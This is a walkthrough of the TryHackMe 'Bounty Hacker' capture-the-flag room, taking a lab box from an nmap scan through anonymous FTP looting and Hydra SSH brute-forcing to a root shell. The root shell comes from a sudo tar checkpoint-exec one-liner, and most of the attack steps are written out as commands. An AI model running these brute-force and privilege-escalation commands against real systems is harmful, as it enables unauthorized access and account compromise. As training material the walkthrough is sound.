TryHackMe Bounty Hacker Walkthrough — Easy Linux Room for Beginners

🎯 Room Info

📖 What This Room Is About

Bounty Hacker is a beginner Linux box with a Firefly theme. You start with nothing but an IP address, and by the end you're root.

The attack chain is short and satisfying:

1. 🔍 Scan the box
2. 📂 Loot an open FTP server
3. 🔑 Use what you found to brute-force SSH
4. ⬆️ Escalate to root through a misconfigured sudo rule

If you've just learned Nmap and basic Linux commands, this room is where it all clicks together.

🧠 Skills You'll Practice

• Nmap scanning
• Anonymous FTP enumeration
• Password brute-forcing with Hydra
• Linux privilege escalation (sudo -l + GTFOBins)

🛠️ Step-by-Step Walkthrough

1️⃣ Scan the target

nmap -sC -sV -oN nmap-initial.txt <TARGET_IP>

Three ports pop up: FTP (21), SSH (22), HTTP (80). The FTP banner is the giveaway — it usually says anonymous login is allowed.

💡 Why this matters: -sC -sV gives you service versions and runs safe default scripts in one shot. It's almost always your first move.

2️⃣ Loot the FTP server

ftp <TARGET_IP>

Log in with username anonymous and any password (or just hit enter).

ls -la
get locks.txt
get task.txt

What you get:

• task.txt → an in-character note that points you toward a username
• locks.txt → a password wordlist

💡 Why this matters: open FTP shares are a real-world recon goldmine, not just a CTF trope. Always check.

3️⃣ Find the username

cat task.txt

The note reveals the username you'll need for the next step.

4️⃣ Brute-force SSH

hydra -l <username> -P locks.txt ssh://<TARGET_IP>

Hydra tries every password in locks.txt against that username until one works.

💡 Why this matters: this is exactly how credential-stuffing attacks work in the wild — a leaked list + a known username = compromised account.

5️⃣ Log in and grab the user flag

ssh <username>@<TARGET_IP>
cat user.txt

🚩 Click to reveal: user flag

Redacted — swap in your own captured flag if you want to keep a private record.

6️⃣ Escalate to root

Always check this first on any Linux box:

sudo -l

You'll see the low-priv user can run one specific binary as root, no password needed — a textbook GTFOBins case (tar, in this room).

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

That drops you straight into a root shell.

whoami
cat /root/root.txt

🚩 Click to reveal: root flag

Redacted — swap in your own captured flag if you want to keep a private record.

📋 Every Command, In Order

nmap -sC -sV -oN nmap-initial.txt <TARGET_IP>
ftp <TARGET_IP>
hydra -l <username> -P locks.txt ssh://<TARGET_IP>
ssh <username>@<TARGET_IP>
sudo -l
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

🎓 Key Takeaways

• Open FTP = free intel. Anonymous access is more common in production than you'd think — always check it.
• sudo -l first, always. It's the fastest privesc win on any Linux box.
• GTFOBins is your cheat sheet. Any binary listed there that you can run as root is a potential root shell.
• This is a real attack pattern, not just a game — leaked credentials + reused passwords still cause the majority of real breaches.